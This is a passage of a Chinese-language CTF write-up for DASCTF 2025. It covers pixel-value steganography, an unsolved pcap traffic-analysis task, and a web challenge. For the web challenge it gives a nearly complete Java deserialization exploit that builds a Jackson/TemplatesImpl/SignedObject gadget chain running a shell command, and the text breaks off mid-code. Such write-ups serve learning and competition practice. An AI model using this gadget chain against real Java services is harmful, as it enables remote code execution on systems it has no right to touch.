src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/image-20250621144224801.png"></p><p>解码一下，得到 PC 的名字为 <code>INFERNITYのPC</code></p><p>解压后得到下图</p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/flag.png"></p><p>本来以为是不是黑白表示 0 或 1 的，用 PS 打开发现有灰度，所以不可能是那种玩法，但是发现了一个很有趣的现象，每个像素点的 RGB 值是一致的</p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/image-20250621144914418.png"></p><p>所以考虑是不是用 RGB 值编码了什么东西，尝试提取一下，顺带计算一下每个 RGB 值出现了多少次，可能会有新发现</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">from</span> pprint <span class="keyword">import</span> pprint</span><br><span class="line"></span><br><span class="line">image = Image.<span class="built_in">open</span>(<span class="string">r&quot;BlueTrace\image.png&quot;</span>)</span><br><span class="line">pixel_bytes = <span class="built_in">bytearray</span>()</span><br><span class="line">rgb_dict = &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> y <span class="keyword">in</span> <span class="built_in">range</span>(image.size[<span class="number">1</span>]):</span><br><span class="line">    <span class="keyword">for</span> x <span class="keyword">in</span> <span class="built_in">range</span>(image.size[<span class="number">0</span>]):</span><br><span class="line">        <span class="comment"># print(image.getpixel((x, y)))</span></span><br><span class="line">        <span class="comment"># int 类型不能作为索引，不然爆 TypeError</span></span><br><span class="line">        rgb_dict[<span class="built_in">str</span>(image.getpixel((x, y))[<span class="number">0</span>])] = rgb_dict[<span class="built_in">str</span>(image.getpixel((x, y))[<span class="number">0</span>])] + <span class="number">1</span> <span class="keyword">if</span> <span class="built_in">str</span>(image.getpixel((x, y))[<span class="number">0</span>]) <span class="keyword">in</span> rgb_dict <span class="keyword">else</span> <span class="number">1</span></span><br><span class="line">        pixel_bytes.append(image.getpixel((x, y))[<span class="number">0</span>])</span><br><span class="line"></span><br><span class="line">pprint(rgb_dict) <span class="comment"># 尝试查看每个RGB出现多少次</span></span><br><span class="line"><span class="comment"># &#123;&#x27;228&#x27;: 319, &#x27;184&#x27;: 161, &#x27;128&#x27;: 249, &#x27;227&#x27;: 113, &#x27;129&#x27;: 121, &#x27;187&#x27;: 173, &#x27;185&#x27;: 67, &#x27;136&#x27;: 129, &#x27;230&#x27;: 476, &#x27;152&#x27;: 82, &#x27;175&#x27;: 159, &#x27;67&#x27;: 42, &#x27;84&#x27;: 38, &#x27;70&#x27;: 37, </span></span><br><span class="line"><span class="comment"># &#x27;239&#x27;: 152, &#x27;188&#x27;: 235, &#x27;159&#x27;: 86, &#x27;10&#x27;: 130, &#x27;140&#x27;: 191, &#x27;229&#x27;: 858, &#x27;141&#x27;: 78, &#x27;179&#x27;: 55, &#x27;32&#x27;: 196, &#x27;97&#x27;: 53, &#x27;112&#x27;: 13, &#x27;116&#x27;: 52, &#x27;117&#x27;: 11, &#x27;114&#x27;: 42, &#x27;101&#x27;: 86, </span></span><br><span class="line"><span class="comment"># &#x27;104&#x27;: 15, &#x27;108&#x27;: 29, &#x27;103&#x27;: 22, &#x27;173&#x27;: 82, &#x27;150&#x27;: 96, &#x27;135&#x27;: 95, &#x27;144&#x27;: 120, &#x27;186&#x27;: 133, &#x27;164&#x27;: 44, &#x27;151&#x27;: 59, &#x27;232&#x27;: 329, &#x27;181&#x27;: 67, &#x27;155&#x27;: 142, &#x27;231&#x27;: 440, &#x27;167&#x27;: 62, </span></span><br><span class="line"><span class="comment"># &#x27;189&#x27;: 102, &#x27;145&#x27;: 75, &#x27;156&#x27;: 143, &#x27;174&#x27;: 110, &#x27;137&#x27;: 105, &#x27;133&#x27;: 109, &#x27;168&#x27;: 143, &#x27;138&#x27;: 83, &#x27;139&#x27;: 57, &#x27;233&#x27;: 218, &#x27;180&#x27;: 50, &#x27;191&#x27;: 80, &#x27;161&#x27;: 61, &#x27;171&#x27;: 40, </span></span><br><span class="line"><span class="comment"># &#x27;158&#x27;: 58, &#x27;154&#x27;: 197, &#x27;132&#x27;: 114, &#x27;148&#x27;: 73, &#x27;162&#x27;: 64, &#x27;143&#x27;: 171, &#x27;130&#x27;: 111, &#x27;166&#x27;: 55, &#x27;163&#x27;: 39, &#x27;134&#x27;: 149, &#x27;142&#x27;: 83, &#x27;157&#x27;: 45, &#x27;165&#x27;: 102, &#x27;183&#x27;: 87, &#x27;226&#x27;: 4, </span></span><br><span class="line"><span class="comment"># &#x27;153&#x27;: 56, &#x27;182&#x27;: 83, &#x27;170&#x27;: 28, &#x27;146&#x27;: 49, &#x27;131&#x27;: 71, &#x27;190&#x27;: 62, &#x27;160&#x27;: 65, &#x27;87&#x27;: 18, &#x27;98&#x27;: 17, &#x27;169&#x27;: 18, &#x27;149&#x27;: 38, &#x27;177&#x27;: 27, &#x27;147&#x27;: 26, &#x27;176&#x27;: 62, &#x27;172&#x27;: 24, </span></span><br><span class="line"><span class="comment"># &#x27;74&#x27;: 4, &#x27;111&#x27;: 40, &#x27;100&#x27;: 17, &#x27;121&#x27;: 16, &#x27;102&#x27;: 11, &#x27;65&#x27;: 7, &#x27;77&#x27;: 15, &#x27;178&#x27;: 17, &#x27;99&#x27;: 17, &#x27;107&#x27;: 14, &#x27;45&#x27;: 10, &#x27;68&#x27;: 13, &#x27;110&#x27;: 19, &#x27;115&#x27;: 22, &#x27;52&#x27;: 4, &#x27;56&#x27;: 4, </span></span><br><span class="line"><span class="comment"># &#x27;105&#x27;: 30, &#x27;120&#x27;: 7, &#x27;83&#x27;: 24, &#x27;81&#x27;: 5, &#x27;76&#x27;: 4, &#x27;88&#x27;: 3, &#x27;69&#x27;: 10, &#x27;82&#x27;: 8, &#x27;118&#x27;: 9, &#x27;80&#x27;: 21, &#x27;119&#x27;: 5, &#x27;47&#x27;: 3, &#x27;58&#x27;: 1, &#x27;123&#x27;: 1, &#x27;48&#x27;: 8, &#x27;54&#x27;: 9, &#x27;55&#x27;: 2, </span></span><br><span class="line"><span class="comment"># &#x27;57&#x27;: 2, &#x27;50&#x27;: 3, &#x27;49&#x27;: 6, &#x27;125&#x27;: 1, &#x27;79&#x27;: 3, &#x27;73&#x27;: 10, &#x27;72&#x27;: 9, &#x27;66&#x27;: 5, &#x27;86&#x27;: 5, &#x27;51&#x27;: 5, &#x27;53&#x27;: 1, &#x27;109&#x27;: 11, &#x27;40&#x27;: 10, &#x27;41&#x27;: 10, &#x27;78&#x27;: 9, &#x27;43&#x27;: 2, &#x27;71&#x27;: 8, &#x27;124&#x27;: 2, </span></span><br><span class="line"><span class="comment"># &#x27;122&#x27;: 2, &#x27;85&#x27;: 1, &#x27;106&#x27;: 4&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># print(pixels)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">r&quot;Bluetrace\output.txt&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    f.write(pixel_bytes)</span><br></pre></td></tr></table></figure><p>从字典中没看出个所以然来，但是打开 <code>output.txt</code>，发现是有文本的</p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/image-20250621145049676.png"></p><p>一开始没发现有什么问题，我还打开了 wbStego4，结果突然想到可以搜搜 flag 头 <code>DASCTF</code>，结果就搜索到了</p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/image-20250621145143308.png"></p><p>得到 flag 为 <code>DASCTF&#123;0ba687ee-60e0-4697-8f4c-42e9b81d2dc6&#125;</code></p><h2 id="Misc-一把嗦的解题思路-Luminoria-未出"><a href="#Misc-一把嗦的解题思路-Luminoria-未出" class="headerlink" title="[Misc] 一把嗦的解题思路 | @Luminoria | 未出"></a>[Misc] 一把嗦的解题思路 | @Luminoria | 未出</h2><blockquote><p>时间：17:54</p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/QQ_0w3wjLHoH1.png"></p></blockquote><p>流量分析题，Nginx + PHPStudy，网站是一个云盘下载站</p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/f92d6f84-1267-4ba2-bf3d-aa3ef18e8646.png"></p><p>文件列表有 5 个文件</p><ul><li>uploads&#x2F;a.jpg</li><li>uploads&#x2F;flag.txt</li><li>secret&#x2F;img1.png</li><li>secret&#x2F;secret.7z</li><li>secret&#x2F;th.jpg</li></ul><p>有这几种长度的请求</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">size = <span class="built_in">set</span>()</span><br><span class="line">os.system(<span class="string">r&#x27;tshark -r 一把嗦的解题思路\DAS6-_25e5534ffb442067545615c6cc79e2ca\tempdir\MISC附件\222\222.pcapng -Y &quot;http &amp;&amp; http.response.code !== 404&quot; -T &quot;fields&quot; -e &quot;frame.len&quot; &gt; 一把嗦的解题思路\DAS6-_25e5534ffb442067545615c6cc79e2ca\tempdir\MISC附件\222\output.txt&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">r&quot;一把嗦的解题思路\DAS6-_25e5534ffb442067545615c6cc79e2ca\tempdir\MISC附件\222\output.txt&quot;</span>, <span class="string">&quot;r&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line">        size.add(<span class="built_in">int</span>(line.strip()))</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">sorted</span>(<span class="built_in">list</span>(size)))</span><br><span class="line"></span><br><span class="line"><span class="comment"># [59, 389, 427, 454, 545, 766, 771, 967, 979, 991, 1049, 1111, 1191, 1197, 1215, 2601, 35550, 43034]</span></span><br></pre></td></tr></table></figure><ul><li>Len 59 是文件列表</li><li>Len 389 是 302 重定向 <a href="http://61.139.2.134/system/index.php">http://61.139.2.134/system/index.php</a></li><li>Len 427 是 301 重定向 <a href="http://61.139.2.134/system">http://61.139.2.134/system</a></li><li>Len 454 是假 flag <code>ZmxhZ3tmYWtl4oCU4oCUaGFoYWhhfQ== -&gt; flag&#123;fake——hahaha&#125;</code></li><li>Len 545 <strong>可能</strong>是一个webp文件，有RIFF头，但是损坏<ul><li><code>UklGRpBMAgBXRUJQVlA4IIRMAgBQgBKdASoADMAGPp1On0wmJy0sJHMJsLATiWdulqXiv2z/51Kfz9dD/zM54ZdX3qMDVZ+JYaDpv9L73vfhyB3j/gOVB0p+x43/pnqEeW/lafTf+L2CvNaz7/7X0o/Qf6F0/b0j6Tv3izPynalfmH+v+x6/HI/vz/n/Y/fF9DH/71C+i//3o/+4//HmL//fsU/hf/s6anr1/v295</code></li></ul></li><li>Len 766 是非 ViP 用户提示</li><li>Len 771 同上</li><li>Len 967 是登录页面</li><li>Len 979 也是，但是登录失败</li><li>Len 991 是注册成功提示+登录页面</li><li>Len 1049 同上</li><li>Len 1111 是报错，可以得知数据库用的 sqlite3<ul><li>链接是<a href="http://61.139.2.134/system/index.php">http://61.139.2.134/system/index.php</a></li><li><code>&lt;b&gt;Warning&lt;/b&gt;:  SQLite3::query(): Unable to prepare statement: 1, unrecognized token: &quot;&#39;1&#39;&#39;&quot; in &lt;b&gt;C:\phpstudy_pro\WWW\system\index.php&lt;/b&gt; on line &lt;b&gt;111&lt;/b&gt;&lt;br /&gt;\n</code></li><li><code>&lt;b&gt;Fatal error&lt;/b&gt;:  Uncaught Error: Call to a member function fetchArray() on bool in C:\phpstudy_pro\WWW\system\index.php:111\n</code></li><li><code>Stack trace:\n</code></li><li><code>#0 &#123;main&#125;\n</code></li><li><code>thrown in &lt;b&gt;C:\phpstudy_pro\WWW\system\index.php&lt;/b&gt; on line &lt;b&gt;111&lt;/b&gt;&lt;br /&gt;\n</code></li></ul></li><li>Len 1191 是文件列表，看起来是在 uploads 目录里面</li><li>Len 1197 同上</li><li>Len 1215 同上</li><li>Len 2601 是 PHPStudy 的默认页面</li><li>Len 35550 是图片（下面有）</li><li>Len 43034 是下面提到的 7z 文件</li></ul><p>Package 959 发现一张 JPG 图片，Package 12924 发现文件（可能是7z）</p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/d47b750d-8a6f-473b-bff8-04f2993eed20.png"></p><p>应该是了，试了一下7z的魔术头就是<code>7z</code></p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/a9d2b245-153b-4fc0-b3f9-0acc358d6c61.png"></p><p>得到 <code>dump.jpg</code> 和 <code>secret.vmdk</code>，分别来自上述两个流量 Package</p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/80f17f7e-d57c-4bac-bea9-78258df48534.png"></p><p><del>挂在这个盘不出意外的要密码，可能与图片有关，我试试隐写</del>，结果工具说这个 jpg 文件没有被修改，可能 Bitlocker 的密码是这个图片本身？印象中 Bitlocker 没有把图片作为密码的方案，用 ArsenalImageMounter 挂载，还是密码问题</p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/6011d7ed-443c-42b4-97a3-7001abdd4432.png"></p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/d938f9cd-fdd8-423c-8163-ddc211221f51.png"></p><p>PS能够正确识别这个图，可能这个图没有那种常规的隐写</p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/91ac6a19-2d26-4c8f-9b1e-78ffa4e0d4d5.png"></p><p><img src="https://assets.bili33.top/img/DASCTF-2025-First-Half-Writeup/356ddb38-08a9-4f45-82a1-f2fc024833ca.jpg"></p><p>我投降了 &#x3D;-&#x3D;</p><h1 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h1><h2 id="Web-再短一点点-Rusty"><a href="#Web-再短一点点-Rusty" class="headerlink" title="[Web] 再短一点点 | @Rusty"></a>[Web] 再短一点点 | @Rusty</h2><p>使用了InflaterInputStream，可以对应使用DeflaterOutputStream进行压缩</p><p>根据过滤的黑名单用二次反序列化进行绕过</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&#125; <span class="keyword">catch</span> (Exception var9) &#123;</span><br><span class="line">    var9.printStackTrace();</span><br><span class="line">    <span class="type">StringWriter</span> <span class="variable">sw</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringWriter</span>();</span><br><span class="line">    <span class="type">PrintWriter</span> <span class="variable">pw</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PrintWriter</span>(sw);</span><br><span class="line">    var9.printStackTrace(pw);</span><br><span class="line">    <span class="type">String</span> <span class="variable">stackTrace</span> <span class="operator">=</span> sw.toString();</span><br><span class="line">    <span class="keyword">return</span> stackTrace.contains(<span class="string">&quot;getStylesheetDOM&quot;</span>) ? <span class="string">&quot;命运的硬币抛向了反面，重启环境试试？&quot;</span> : <span class="string">&quot;something went wrong :(&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>根据这段，猜测使用jackson不加稳定来减少字数，失败重启环境</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.node.POJONode;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.bcel.internal.Repository;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xpath.internal.objects.XString;</span><br><span class="line"><span class="keyword">import</span> javassist.*;</span><br><span class="line"><span class="keyword">import</span> org.springframework.aop.framework.AdvisedSupport;</span><br><span class="line"><span class="keyword">import</span> org.springframework.aop.target.HotSwappableTargetSource;</span><br><span class="line"><span class="keyword">import</span> sun.misc.Unsafe;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.management.BadAttributeValueExpException;</span><br><span class="line"><span class="keyword">import</span> javax.naming.CompositeName;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletRequest;</span><br><span class="line"><span class="keyword">import</span> javax.swing.event.EventListenerList;</span><br><span class="line"><span class="keyword">import</span> javax.swing.undo.UndoManager;</span><br><span class="line"><span class="keyword">import</span> javax.xml.transform.Templates;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.security.*;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">import</span> java.util.Vector;</span><br><span class="line"><span class="keyword">import</span> java.util.zip.Deflater;</span><br><span class="line"><span class="keyword">import</span> java.util.zip.DeflaterOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.util.zip.InflaterInputStream;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">avoid_error</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line"></span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass0</span> <span class="operator">=</span> pool.get(<span class="string">&quot;com.fasterxml.jackson.databind.node.BaseJsonNode&quot;</span>);</span><br><span class="line">        <span class="type">CtMethod</span> <span class="variable">writeReplace</span> <span class="operator">=</span> ctClass0.getDeclaredMethod(<span class="string">&quot;writeReplace&quot;</span>);</span><br><span class="line">        ctClass0.removeMethod(writeReplace);</span><br><span class="line">        ctClass0.toClass();</span><br><span class="line"></span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;a&quot;</span>);</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">superClass</span> <span class="operator">=</span> pool.get(AbstractTranslet.class.getName());</span><br><span class="line">        ctClass.setSuperclass(superClass);</span><br><span class="line">        <span class="type">CtConstructor</span> <span class="variable">constructor</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CtConstructor</span>(<span class="keyword">new</span> <span class="title class_">CtClass</span>[]&#123;&#125;,ctClass);</span><br><span class="line">        constructor.setBody(<span class="string">&quot;Runtime.getRuntime().exec(\&quot;rm /a\&quot;);&quot;</span>);</span><br><span class="line">        ctClass.addConstructor(constructor);</span><br><span class="line">        <span class="type">byte</span>[] bytes = ctClass.toBytecode();</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="type">Templates</span> <span class="variable">templatesImpl</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        setFieldValue(templatesImpl, <span class="string">&quot;_bytecodes&quot;</span>, <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;bytes&#125;);</span><br><span class="line">        setFieldValue(templatesImpl, <span class="string">&quot;_name&quot;</span>, <span class="string">&quot;z&quot;</span>);</span><br><span class="line">        setFieldValue(templatesImpl, <span class="string">&quot;_tfactory&quot;</span>, <span class="literal">null</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">POJONode</span> <span class="variable">jsonNodes</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">POJONode</span>(templatesImpl);</span><br><span class="line"></span><br><span class="line">        <span class="type">HotSwappableTargetSource</span> <span class="variable">h1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HotSwappableTargetSource</span>(jsonNodes);</span><br><span class="line">        <span class="type">HotSwappableTargetSource</span> <span class="variable">h2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HotSwappableTargetSource</span>(<span class="keyword">new</span> <span class="title class_">XString</span>(<span class="literal">null</span>));</span><br><span class="line">        HashMap&lt;Object, Object&gt; objectObjectHashMap = makeMap(h1, h2);</span><br><span class="line"></span><br><span class="line">        KeyPairGenerator keyPairGenerator;</span><br><span class="line">        keyPairGenerator = KeyPairGenerator.getInstance(<span class="string">&quot;DSA&quot;</span>);</span><br><span class="line">        keyPairGenerator.initialize(<span class="number">1024</span>);</span><br><span class="line">        <span class="type">KeyPair</span> <span class="variable">keyPair</span> <span class="operator">=</span> keyPairGenerator.genKeyPair();</span><br><span class="line">        <span class="type">PrivateKey</span> <span class="variable">privateKey</span> <span class="operator">=</span> keyPair.getPrivate();</span><br><span class="line">        <span class="type">Signature</span> <span class="variable">signingEngine</span> <span class="operator">=</span> Signature.getInstance(<span class="string">&quot;DSA&quot;</span>);</span><br><span class="line">        <span class="type">SignedObject</span> <span class="variable">signedObject</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SignedObject</span>(objectObjectHashMap,privateKey,signingEngine);</span><br><span class="line"></span><br><span class="line">        <span class="type">POJONode</span> <span class="variable">jsonNodes1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">POJONode</span>(signedObject);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="type">HotSwappableTargetSource</span> <span class="variable">h12</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HotSwappableTargetSource</span>(jsonNodes1);</span><br><span class="line">        <span class="type">HotSwappableTargetSource</span> <span class="variable">h22</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HotSwappableTargetSource</span>(<span class="keyword">new</span> <span class="title class_">XString</span>(<span class="literal">null</span>));</span><br><span class="line"></span><br><span class="line">        HashMap&lt;Object, Object&gt; objectObjectHashMap1 = makeMap(h12, h22);</span><br><span class="line"></span><br><span class="line">        System.out.println(serial(objectObjectHashMap1).length());</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">barr</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">objectOutputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(barr);</span><br><span class="line">        objectOutputStream.writeObject(objectObjectHashMap1);</span><br><span class="line">        objectOutputStream.flush();</span><br><span class="line">        <span class="type">byte</span>[] barrByteArray = barr.toByteArray();</span><br><span class="line"></span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">bos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="type">Deflater</span> <span class="variable">deflater</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Deflater</span>(<span class="number">9</span>);</span><br><span class="line">        <span class="type">DeflaterOutputStream</span> <span class="variable">dos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DeflaterOutputStream</span>(bos,deflater);</span><br><span class="line">        dos.write(barrByteArray);</span><br><span class="line">        dos.finish();</span><br><span class="line">        dos.flush();</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">encodedString</span> <span class="operator">=</span> Base64.getEncoder().encodeToString(bos.toByteArray());</span><br><span class="line">        System.out.println(<span class="string">&quot;Base64编码后大小: &quot;</span> + encodedString.length() + <span class="string">&quot; 字符&quot;</span>);</span><br><span class="line">        System.out.println(encodedString);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> HashMap&lt;Object, Object&gt; <span class="title function_">makeMap</span> <span class="params">(Object v1, Object v2 )</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        HashMap&lt;Object, Object&gt; s = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        setFieldValue(s, <span class="string">&quot;size&quot;</span>, <span class="number">2</span>);</span><br><span class="line">        Class&lt;?&gt; nodeC;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            nodeC = Class.forName(<span class="string">&quot;java.util.HashMap$Node&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">catch</span> ( ClassNotFoundException e ) &#123;</span><br><span class="line">            nodeC = Class.forName(<span class="string">&quot;java.util.HashMap$Entry&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        Constructor&lt;?&gt; nodeCons = nodeC.getDeclaredConstructor(<span class="type">int</span>.class, Object.class, Object.class, nodeC);</span><br><span class="line">        nodeCons.setAccessible(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">Object</span> <span class="variable">tbl</span> <span class="operator">=</span> Array.newInstance(nodeC, <span class="number">2</span>);</span><br><span class="line">        Array.set(tbl, <span class="number">0</span>, nodeCons.newInstance(<span class="number">0</span>, v1, v1, <span class="literal">null</span>));</span><br><span class="line">        Array.set(tbl, <span class="number">1</span>, nodeCons.newInstance(<span class="number">0</span>, v2, v2, <span class="literal">null</span>));</span><br><span class="line">        setFieldValue(s, <span class="string">&quot;table&quot;</span>, tbl);</span><br><span class="line">        <span class="keyword">return</span> s;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setFieldValue</span><span class="params">(<span class="keyword">final</span> Object obj, <span class="keyword">final</span> String fieldName, <span class="keyword">final</span> Object value)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span 